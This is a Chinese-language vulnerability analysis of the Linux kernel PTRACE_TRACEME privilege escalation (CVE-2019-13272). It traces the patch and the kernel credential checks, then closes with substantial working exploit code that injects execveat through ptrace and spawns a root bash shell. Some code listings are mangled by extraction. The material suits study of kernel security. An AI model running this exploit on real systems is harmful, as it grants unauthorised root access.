PTRACE_TRACEME CVE-2019-13272 本地提权漏洞解析
PTRACE_TRACEME 漏洞 是 Jann Horn 201907 月发现的内核提权漏洞, 漏洞发现和利用的思路有很多值得学习的地方, 本文记录了个人的学习过程
author: Gengjia Chen ( chengjia4574@gmail.com ) of IceSwordLab, qihoo 360
漏洞补丁
我们从漏洞补丁 ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME 入手分析
Fix two issues: // 第一个问题，是 cred 的 rcu reference 问题 When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU reference to the parent's objective credentials, then give that pointer to get_cred(). However, the object lifetime rules for things like struct cred do not permit unconditionally turning an RCU reference into a stable reference. // 第二个问题，tracee 记录的 tracer 的 cred 的问题 PTRACE_TRACEME records the parent's credentials as if the parent was acting as the subject, but that's not the case. If a malicious unprivileged child uses PTRACE_TRACEME and the parent is privileged, and at a later point, the parent process becomes attacker-controlled (because it drops privileges and calls execve()), the attacker ends up with control over two processes with a privileged ptrace relationship, which can be abused to ptrace a suid binary and obtain root privileges. Fix both of these by always recording the credentials of the process that is requesting the creation of the ptrace relationship: current_cred() can't change under us, and current is the proper subject for access control.
以上是补丁的描述，以下是补丁的代码
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}
从补丁的描述来看，一共修复了 2 个问题
- 1 是 rcu reference 的问题，对应的代码是删除了 rcu 锁;
- 2 是 tracee 记录 tracer 进程的 cred 引发的问题
本文不关心第一个问题，只分析可以用于本地提权的第二个问题
从补丁描述看第二个问题比较复杂，我们后面再分析，补丁对应的代码倒是非常简单，
将 ‘__task_cred(new_parent)’ 换成了 ‘current_cred()’, 也就是说记录的 cred 从 tracer 进程的 cred 换成了当前进程的 cred
漏洞分析
ptrace 是一个系统调用，它提供了一种方法来让进程 (tracer) 可以观察和控制其它进程 (tracee) 的执行，检查和改变其核心映像以及寄存器, 主要用来实现断点调试和系统调用跟踪
1 396 kernel/ptrace.c <>
ptrace_link(task, current); // link 的双方分别是要 trace 的目标进程 'task'
// 和发动 trace 的当前进程 'current'
2 469 kernel/ptrace.c <>
ptrace_link(current, current->real_parent); // link 的双方分别是发动 trace 的
// 当前进程 ‘current’ 和当前进程的
// 父进程 ' current->real_parent'
trace 关系的建立有 2 种方式
- 1 是进程调用 fork 函数然后子进程主动调用 PTRACE_TRACEME, 这是由 tracee 发起的, 对应内核函数 ptrace_traceme
- 2 是进程调用 PTRACE_ATTACH 或者 PTRACE_SEIZE 去主动 trace 其他进程, 这是由 tracer 发起的, 对应内核函数 ptrace_attach
不管是哪种方式，最后都会调用 ptrace_link 函数去建立 tracer 和 tracee 之间的 trace 关系
- ptrace_attach 关联的双方是 ‘task’ (tracee) 和 ‘current’ (tracer)
- ptrace_traceme 关联的双方是 ‘current’ (tracee) 和 ‘current->real_parent’ (tracer)
这里我们要仔细记住上面 2 种模式下 tracer 和 tracee 分别是什么，因为这就是漏洞的关键
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}
void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
const struct cred *ptracer_cred)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. 将自己加入父进程的 ptraced 队列
child->parent = new_parent; // 2. 将父进程地址保存在 parent 指针
child->ptracer_cred = get_cred(ptracer_cred); // 3. 保存 ptracer_cred, 我们只关注这个变量
}
建立 trace 关系的关键是由 tracee 记录 tracer 的 cred, 保存在 tracee 的 ‘ptracer_cred’ 变量，这个变量名很顾名思义
ptracer_cred 这个概念是由 2016 年的一个补丁 ptrace: Capture the ptracer’s creds not PT_PTRACE_CAP 引入的, 引入 ptracer_cred 的目的是用于当 tracee 执行 exec 去加载 setuid executable 时做安全检测
为什么需要这个安全检测呢?
exec 函数族可以更新进程的镜像, 如果被执行文件的 setuid 位 置位，则运行这个可执行文件时，进程的 euid 会被修改成该可执行文件的所有者的 uid, 如果可执行文件的所有者权限比调用 exec 的进程高, 运行这类 setuid executable 会有提权的效果
假如执行 exec 的进程本身是一个 tracee, 当它执行了 setuid executable 提权之后，由于 tracer 可以随时修改 tracee 的寄存器和内存，这时候低权限的 tracer 就可以控制 tracee 去执行越权操作
作为内核，显然是不允许这样的越权行为存在的，所以当 trace 关系建立时, tracee 需要保存 tracer 的 cred (即 ptracer_cred), 然后在执行 exec 过程中, 如果发现执行的可执行程序是 setuid 位 置位的， 则会判断 ‘ptracer_cred’ 的权限， 如果权限不满足，将不会执行 setuid 位 的提权， 而是以原有的进程权限执行这个 setuid executable
这个过程的代码分析如下(本文的代码分析基于 v4.19-rc8)
do_execve
-> __do_execve_file
-> prepare_binprm
-> bprm_fill_uid
-> security_bprm_set_creds
->cap_bprm_set_creds
-> ptracer_capable
->selinux_bprm_set_creds
->(apparmor_bprm_set_creds)
->(smack_bprm_set_creds)
->(tomoyo_bprm_set_creds)
如上，execve 权限相关的操作主要在函数 ‘prepare_binprm’ 里
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569 int retval;
1570 loff_t pos = 0;
1571
1572 bprm_fill_uid(bprm); // <-- 初步填充新进程的 cred
1573
1574 /* fill in binprm security blob */
1575 retval = security_bprm_set_creds(bprm); // called_set_creds = 1;
1579
1580 memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581 return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }
如上，先调用 ‘bprm_fill_uid’ 初步填充新进程的 cred, 再调用 ‘security_bprm_set_creds’ 做安全检测并修改新的 cred
1509 static void bprm_fill_uid(struct linux_binprm *bprm)
1510 {
1511 struct inode *inode;
1512 unsigned int mode;
1513 kuid_t uid;
1514 kgid_t gid;
1515
1516 /*
1517 * Since this can be called multiple times (via prepare_binprm),
1518 * we must clear any previous work done when setting set[ug]id
1519 * bits from any earlier bprm->file uses (for example when run
1520 * first for a setuid script then again for its interpreter).
1521 */
1522 bprm->cred->euid = current_euid(); // cred->egid = current_egid();
1524
1525 if (!mnt_may_suid(bprm->file->f_path.mnt))
1526 return;
1527
1528 if (task_no_new_privs(current))
1529 return;
1530
1531 inode = bprm->file->f_path.dentry->d_inode;
1532 mode = READ_ONCE(inode->i_mode);
1533 if (!(mode & (S_ISUID|S_ISGID))) // i_mode;
1541 uid = inode->i_uid; // i_gid;
1543 inode_unlock(inode);
1544
1545 /* We ignore suid/sgid if there are no mappings for them in the ns */
1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
1547 !kgid_has_mapping(bprm->cred->user_ns, gid))
1548 return;
1549
1550 if (mode & S_ISUID) {
1551 bprm->per_clear |= PER_CLEAR_ON_SETID;
1552 bprm->cred->euid = uid; // per_clear |= PER_CLEAR_ON_SETID;
1557 bprm->cred->egid = gid;
1558 }
1559 }
如上， 主要看两行
- 1522 行, 将当前的 euid 赋值新的 euid, 所以大部分执行了 execve 的进程的权限跟原来的一样
- 1552 行，如果带有 suid bit, 则将可执行文件的所有者的 uid 赋值新的 euid, 这就是所谓 setuid 的实现， 新的 euid 变成了它执行的可执行文件所有者的 uid， 如果所有者是特权用户， 这里就实现了提权
但是，这里的 euid 依然不是最终的结果， 还需要进入函数 security_bprm_set_creds 做进一步的安全检测
security_bprm_set_creds 函数调用的是 LSM 框架
在我分析的内核版本上, 实现 ‘bprm_set_creds’ 这个 hook 点安全检测的 lsm 框架有 5 种, 检测函数如下,
- cap_bprm_set_creds
- selinux_bprm_set_creds
- apparmor_bprm_set_creds
- smack_bprm_set_creds
- tomoyo_bprm_set_creds
这里哪些 hook 检测函数会被执行，其实是跟具体的内核配置有关的, 理论上把所有 lsm 框架都启用的话，上述所有这些实现了 ‘bprm_set_creds’ hook 检测的函数都会被执行
在我的分析环境里实际运行的检测函数只有 cap_bprm_set_creds 和 selinux_bprm_set_creds 这俩
其中， 对 euid 有影响的是 ‘cap_bprm_set_creds’ 这个函数
815 int cap_bprm_set_creds(struct linux_binprm *bprm)
816 {
817 const struct cred *old = current_cred();
818 struct cred *new = bprm->cred;
819 bool effective = false, has_fcap = false, is_setid;
820 int ret;
821 kuid_t root_uid;
===================== skip ======================
838 /* Don't let someone trace a set[ug]id/setpcap binary with the revised
839 * credentials unless they have the appropriate permit.
840 *
841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
842 */
843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844
845 if ((is_setid || __cap_gained(permitted, new, old)) && // unsafe & ~LSM_UNSAFE_PTRACE) ||
847 !ptracer_capable(current, new->user_ns))) { // user_ns, CAP_SETUID) ||
850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
851 new->euid = new->uid; // egid = new->gid;
853 }
854 new->cap_permitted = cap_intersect(new->cap_permitted,
855 old->cap_permitted);
856 }
857
858 new->suid = new->fsuid = new->euid;
859 new->sgid = new->fsgid = new->egid;
===================== skip ======================
}
如上
- 行 845, 检测 euid 是否跟原有的 uid 不一致 (在函数 bprm_fill_uid 分析里我们知道，如果执行的文件是 setuid bit 的， euid 就会不一致)
所以这里等同于检测执行的可执行程序是不是 setid 程序
- 行 847, 检测本进程是否是 tracee
如果两个条件同时满足，需要执行 ptracer_capable 函数进行权限检测，假设检测不通过， 会执行 downgrade 降权
- 行 851, 将 new->euid 的值重新变成 new->uid， 就是说在函数 bprm_fill_uid 里提的权在这里可能又被降回去
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred); // <----- 取出 ptrace_link 时保存的 ptracer_cred
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-------- 进入 lsm 框架进行安全检测
507 rcu_read_unlock();
508 return (ret == 0);
509 }
如上，
- 行 504, 取出 ‘tsk->ptracer_cred’
- 行 506, 进入 lsm 框架对 ‘tsk->ptracer_cred’ 进行检测
到了这里， 这个漏洞涉及到的变量 ‘tsk->ptracer_cred’ 终于出现了， 如前所述，这个变量是建立 trace 关系时， tracee 保存的 tracer 的 cred
当 tracee 随后执行 execve 去执行 suid 可执行程序时，就会调用 ptracer_capable 这个函数， 通过 lsm 里的安全框架去判断 ‘ptracer_cred’ 的权限
lsm 框架里的 capable hook 检测我们这里不分析了， 简单来说， 如果 tracer 本身是 root 权限， 则这里的检测会通过， 如果不是， 就会返回失败
根据前面的分析，如果 ptracer_capable 检测失败， new->euid 的权限会被降回去
举个例子， A ptrace B , B execve 执行 ‘/usr/bin/passwd’, 根据上面代码的分析， 如果 A 是 root 权限， 则 B 执行 passwd 时的 euid 是 root, 否则就还是原有的权限
kernel/ptrace.c <>
ptrace_link(current, current->real_parent);
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}
回到漏洞代码, 为什么 traceme 在建立 trace link 时记录 parent 的 cred 是不对的呢? 明明这时候 parent 就是 tracer 啊?
我们用 Jann Horn 举的例子来说明为什么 traceme 这种方式建立 trace link 时不能使用 tracer 的 cred
- 1, task A: fork()s a child, task B - 2, task B: fork()s a child, task C - 3, task B: execve(/some/special/suid/binary) - 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship) - 5, task C: execve(/usr/bin/passwd) - 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid())) - 7, task B: become dumpable again (e.g. execve(/some/other/binary)) - 8, task A: PTRACE_ATTACH to task B - 9, task A: use ptrace to take control of task B - 10, task B: use ptrace to take control of task C
如上场景有 3 个进程 A, B, C
- 第 4 步， task C 使用 PTRACE_TRACE 建立跟 B 的 trace link 时， 由于 B 此时是 euid = 0 (因为它刚刚执行了 suid binary), 所以 C 记录的 ptracer_cred 的 euid 也是 0
- 第 5 步， task C 随后执行 execve(suid binary), 根据我们上面的分析，由于 C 的 ptracer_cred 是特权的， 所以 ptracer_capable 函数检测通过，所以执行完 execve 后， task C 的 euid 也提权成 0 , 注意此时 B 和 C 的 trace link 还是有效的
- 第 6 步， task B 执行 setresuid 将自己降权， 这个降权的目的是为了能让 task A attach
- 第 8 步， task A 使用 PTRACE_ATTACH 建立跟 B 的 trace link, A 和 B 都是普通权限, 之后 A 可以控制 B 执行任何操作
- 第 9 步， task B 控制 task C 执行提权操作
前面 8 步，依据之前的代码分析都是成立的，那么第 9 步能不能成立呢?
执行第 9 步时， task B 本身是普通权限， task C 的 euid 是 root 权限， B 和 C 的 trace link 有效, 这种条件下 B 能不能发送 ptrace request 让 C 执行各种操作，包括提权操作?
下面我们结合代码分析这个问题
1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
1112 unsigned long, data)
1113 {
1114 struct task_struct *child;
1115 long ret;
1116
1117 if (request == PTRACE_TRACEME) {
1118 ret = ptrace_traceme(); // <----- 进入 traceme 分支
1119 if (!ret)
1120 arch_ptrace_attach(current);
1121 goto out;
1122 }
1123
1124 child = find_get_task_by_vpid(pid);
1125 if (!child) {
1126 ret = -ESRCH;
1127 goto out;
1128 }
1129
1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
1131 ret = ptrace_attach(child, request, addr, data); // <------ 进入 attach 分支
1132 /*
1133 * Some architectures need to do book-keeping after
1134 * a ptrace attach.
1135 */
1136 if (!ret)
1137 arch_ptrace_attach(child);
1138 goto out_put_task_struct;
1139 }
1140
1141 ret = ptrace_check_attach(child, request == PTRACE_KILL ||
1142 request == PTRACE_INTERRUPT);
1143 if (ret < 0)
1144 goto out_put_task_struct;
1145
1146 ret = arch_ptrace(child, request, addr, data); // <---- 其他 ptrace request
1147 if (ret || request != PTRACE_DETACH)
1148 ptrace_unfreeze_traced(child);
1149
1150 out_put_task_struct:
1151 put_task_struct(child);
1152 out:
1153 return ret;
1154 }
如上， 由于 task B 和 task C 此时已经存在 trace link， 所以通过 B 向 C 可以直接发送 ptrace request， 将进入函数 arch_ptrace
arch/x86/kernel/ptrace.c
arch_ptrace
-> ptrace_request
-> generic_ptrace_peekdata
generic_ptrace_pokedata
-> ptrace_access_vm
-> ptracer_capable
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885 unsigned long addr, unsigned long data)
886 {
887 bool seized = child->ptrace & PT_SEIZED;
888 int ret = -EIO;
889 siginfo_t siginfo, *si;
890 void __user *datavp = (void __user *) data;
891 unsigned long __user *datalp = datavp;
892 unsigned long flags;
893
894 switch (request) {
895 case PTRACE_PEEKTEXT:
896 case PTRACE_PEEKDATA:
897 return generic_ptrace_peekdata(child, addr, data);
898 case PTRACE_POKETEXT:
899 case PTRACE_POKEDATA:
900 return generic_ptrace_pokedata(child, addr, data);
901
=================== skip ================
1105 }
1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157 unsigned long data)
1158 {
1159 unsigned long tmp;
1160 int copied;
1161
1162 copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- 调用 ptrace_access_vm
1163 if (copied != sizeof(tmp))
1164 return -EIO;
1165 return put_user(tmp, (unsigned long __user *)data);
1166 }
1167
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169 unsigned long data)
1170 {
1171 int copied;
1172
1173 copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- 调用 ptrace_access_vm
1174 FOLL_FORCE | FOLL_WRITE);
1175 return (copied == sizeof(data)) ? 0 : -EIO;
1176 }
如上，当 tracer 想要控制 tracee 执行新的代码逻辑时，需要发送 request 读写 tracee 的代码区和内存区， 对应的 request 是 PTRACE_PEEKTEXT / PTRACE_PEEKDATA / PTRACE_POKETEXT / PTRACE_POKEDATA
这几种读写操作最终都是通过函数 ptrace_access_vm 实现的
kernel/ptrace.c
38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
39 void *buf, int len, unsigned int gup_flags)
40 {
41 struct mm_struct *mm;
42 int ret;
43
44 mm = get_task_mm(tsk);
45 if (!mm)
46 return 0;
47
48 if (!tsk->ptrace ||
49 (current != tsk->parent) ||
50 ((get_dumpable(mm) != SUID_DUMP_USER) &&
51 !ptracer_capable(tsk, mm->user_ns))) { // ptracer_cred);
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE);
507 rcu_read_unlock();
508 return (ret == 0);
509 }
如上， ptrace_access_vm 函数会调用我们之前分析到的 ‘ptracer_capable’ 来决定这个 request 是否可以进行, 这是 ‘ptracer_capable’ 函数的第二种使用场景
根据之前我们分析的结果， task C 此时保存的 ptracer_cred 是特权 cred, 所以这时候 ptracer_capable 会通过， 也就是说我们回答了刚刚的问题， 这种情况下，普通权限的 task B 是可以发送 ptrace request 去读写 root 权限的 task C 的内存区和代码区的
至此，task C 记录的这个特权 ptracer_cred 实际上发挥了 2 种作用
- 1，可以让 task C 执行 execve(suid binary) 给自己提权
- 2，可以让普通权限的 task B 执行 ptrace 读写 task C 的代码区和内存区，从而控制 task C 执行任意操作
上面 2 点合起来，不就是完整的提权操作吗?
小结
我们仔细回顾上述代码分析过程， 才终于明白补丁描述写的这段话
PTRACE_TRACEME records the parent's credentials as if the parent was acting as the subject, but that's not the case. If a malicious unprivileged child uses PTRACE_TRACEME and the parent is privileged, and at a later point, the parent process becomes attacker-controlled (because it drops privileges and calls execve()), the attacker ends up with control over two processes with a privileged ptrace relationship, which can be abused to ptrace a suid binary and obtain root privileges.
本质上这个漏洞有点像 TOCTOU 类漏洞, ptracer_cred 的获取是在 traceme 阶段, 而 ptracer_cred 的应用是在随后的各种 request 阶段， 而在随后的 ptrace request 的时候， tracer 的 cred 可能已经不是一开始建立 trace link 时的那个 cred 了
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}
我们再次看看 jann horn 的补丁: ‘__task_cred(new_parent)’ -> ‘current_cred()’
补丁的意思是说在 PTRACE_TRACEME 这种场景下， ptracer_cred 记录的不应该是父进程的 cred， 而应该是自己的 cred
所以我觉得从这个变量的用途来说，它其实记录的不是 tracer 的 cred, 而是 ‘trace link creater’ 的 cred
我建议 jann horn 将这个变量名改成 ptracelinkcreater_cred, 当 trace link 由 PTRACE_ATTACH 建立时， 它等于 tracer 的 cred, 当 trace link 由 PTRACE_TRACEME 建立时， 它等于 tracee 的 cred, 它实际上记录的是 trace 关系建立者的权限 !
exploit
本漏洞利用的关键是找到合适的可执行程序启动 task B, 这个可执行程序要满足如下条件:
- 1, 必须是能被普通权限用户调用
- 2, 执行时必须有提权到root的阶段
- 3, 执行提权后必须执行降权
(短暂提权到 root 的目的是让 task C 可以获取 root 的 ptracer_cred, 再降权的目的是让 B 能被普通权限的进程 ptrace attach)
这里我列出 3 份 exploit 代码:
jann horn 的 exploit 里使用桌面发行版自带的 pkexec 程序用于启动 task B
pkexec 允许特权用户以其他用户权限执行另外一个可执行程序， 用于 polkit 认证框架, 当使用 —user 参数时， 刚好可以让进程先提权到 root 然后再降权到指定用户，因此可以用于构建进程 B, 此外需要找到通过 polkit 框架执行的可执行程序(jann horn 把他们成为 helper)， 这些 helper 程序需要满足普通用户用 pkexec 执行它们时不需要认证（很多通过 polkit 执行的程序都需要弹窗认证）, 执行的模式如下:
- /usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary
bcoles 的 exploit 在 jann horn 的基础上增加了寻找更多 helper binary 的代码， 因为 jann horn 的 helper 是一个写死的程序， 在很多发行版并不存在，所以他的 exploit 在很多发行版系统上无法运行， bcoles 的 exploit 可以在更多的发行版上运行成功
本人出于学习的目的，也写了一份 jiayy 的 exploit , 因为 helper binary 因不同发行版而异， pkexec 也是桌面发行版才有， 而事实上这个提权漏洞是 linux kernel 的漏洞， 所以我把 jann horn 的 exploit 改成了使用一个 fakepkexec 程序来提权， 而这个 fakepkexec 和 fakehelper 程序手动生成（而不是从目标系统搜索），这样一来学习者可以在任何存在本漏洞的 linux 系统（不需要桌面）运行我的 exploit 进行研究
exploit 分析
下面简单过一下 exploit 的代码
167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();
172
173 helper_path = "/tmp/fakehelper";
174
175 /*
176 * set up a pipe such that the next write to it will block: packet mode,
177 * limited to one packet
178 */
179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
181 char dummy = 0;
182 SAFE(write(block_pipe[1], &dummy, 1));
183
184 /* spawn pkexec in a child, and continue here once our child is in execve() */
185 static char middle_stack[1024*1024];
186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
188 if (!middle_success) return 1;
189
======================= skip =======================
215 }
先看行 186, 调用 clone 生成子进程（也就是 task B）, task B 运行 middle_main
64 static int middle_main(void *dummy) {
65 prctl(PR_SET_PDEATHSIG, SIGKILL);
66 pid_t middle = getpid();
67
68 self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69
70 pid_t child = SAFE(fork());
71 if (child == 0) {
72 prctl(PR_SET_PDEATHSIG, SIGKILL);
73
74 SAFE(dup2(self_fd, 42));
75
76 /* spin until our parent becomes privileged (have to be fast here) */
77 int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78 char *needle = tprintf("nUid:t%dt0t", getuid());
79 while (1) {
80 char buf[1000];
81 ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82 buf[buflen] = '';
83 if (strstr(buf, needle)) break;
84 }
85
86 /*
87 * this is where the bug is triggered.
88 * while our parent is in the middle of pkexec, we force it to become our
89 * tracer, with pkexec's creds as ptracer_cred.
90 */
91 SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92
93 /*
94 * now we execute passwd. because the ptrace relationship is considered to
95 * be privileged, this is a proper suid execution despite the attached
96 * tracer, not a degraded one.
97 * at the end of execve(), this process receives a SIGTRAP from ptrace.
98 */
99 puts("executing passwd");
100 execl("/usr/bin/passwd", "passwd", NULL);
101 err(1, "execl passwd");
102 }
103
104 SAFE(dup2(self_fd, 0));
105 SAFE(dup2(block_pipe[1], 1));
106
107 struct passwd *pw = getpwuid(getuid());
108 if (pw == NULL) err(1, "getpwuid");
109
110 middle_success = 1;
111 execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112 middle_success = 0;
113 err(1, "execl pkexec");
114 }
行 70, 调用 fork 生成孙进程（也就是 task C）
然后行 111, task B 运行 fakepkexec 让自己提权再降权
然后看行 76 ~ 84, task C 检测到 task B 的 euid 变成 0 之后， 会执行行 91 进行 PTRACE_TRACEME 操作获取 root 的 ptracer_cred, 然后紧接着 task C 马上运行 execl 执行一个 suid binary 让自己的 euid 变成 0
190 /*
191 * wait for our child to go through both execve() calls (first pkexec, then
192 * the executable permitted by polkit policy).
193 */
194 while (1) {
195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
196 char buf[16];
197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
198 buf[buflen] = '';
199 *strchrnul(buf, 'n') = '';
200 if (strncmp(buf, basename(helper_path), 15) == 0)
201 break;
202 usleep(100000);
203 }
204
205 /*
206 * our child should have gone through both the privileged execve() and the
207 * following execve() here
208 */
209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
210 SAFE(waitpid(midpid, &dummy_status, 0));
211 fputs("attached to midpidn", stderr);
212
213 force_exec_and_wait(midpid, 0, "stage2");
214 return 0;
接下去回到 task A 的 main 函数， 行 194 ~ 202, task A 检测到 task B 的 binary comm 变成 helper 之后，
运行行 213 执行 force_exec_and_wait
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117 struct user_regs_struct regs;
118 struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
119 SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120 SAFE(waitpid(pid, &dummy_status, 0));
121 SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123 /* set up indirect arguments */
124 unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125 struct injected_page {
126 unsigned long argv[2];
127 unsigned long envv[1];
128 char arg0[8];
129 char path[1];
130 } ipage = {
131 .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132 };
133 strcpy(ipage.arg0, arg0);
134 for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135 unsigned long pdata = ((unsigned long *)&ipage)[i];
136 SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137 (void*)pdata));
138 }
139
140 /* execveat(exec_fd, path, argv, envv, flags) */
141 regs.orig_rax = __NR_execveat;
142 regs.rdi = exec_fd;
143 regs.rsi = scratch_area + offsetof(struct injected_page, path);
144 regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145 regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146 regs.r8 = AT_EMPTY_PATH;
147
148 SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149 SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150 SAFE(waitpid(pid, &dummy_status, 0));
151 }
函数 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 执行 execveat 函数替换进程的镜像, 这里它控制 task B 执行了 task A 的进程（即 exploit 的可执行程序）然后参数为 stage2, 这实际上就是让 task B 执行了 middle_stage2 函数
167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();
而 middle_stage2 函数同样调用了 force_exec_and_wait , 这将使 task B 利用 ptrace 控制 task C 执行 execveat 函数，将 task C 的镜像也替换为 exploit 的 binary, 且参数是 stage3
153 static int middle_stage2(void) {
154 /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155 pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156 force_exec_and_wait(child, 42, "stage3");
157 return 0;
158 }
当 exploit binary 以参数 stage3 运行时，实际运行的是 spawn_shell 函数, 所以 task C 最后阶段运行的是 spawn_shell
160 static int spawn_shell(void) {
161 SAFE(setresgid(0, 0, 0));
162 SAFE(setresuid(0, 0, 0));
163 execlp("bash", "bash", NULL);
164 err(1, "execlp");
165 }
在 spawn_shell 函数里， 它首先使用 setresgid/setresuid 将本进程的 real uid/effective uid/save uid 都变成 root, 由于 task C 刚刚已经执行了 suid binary 将自身的 euid 变成了 root, 所以这里的 setresuid/setresgid 可以成功执行，到此为止， task C 就变成了一个完全的 root 进程， 最后再执行 execlp 启动一个 shell, 即得到了一个完整 root 权限的 shell
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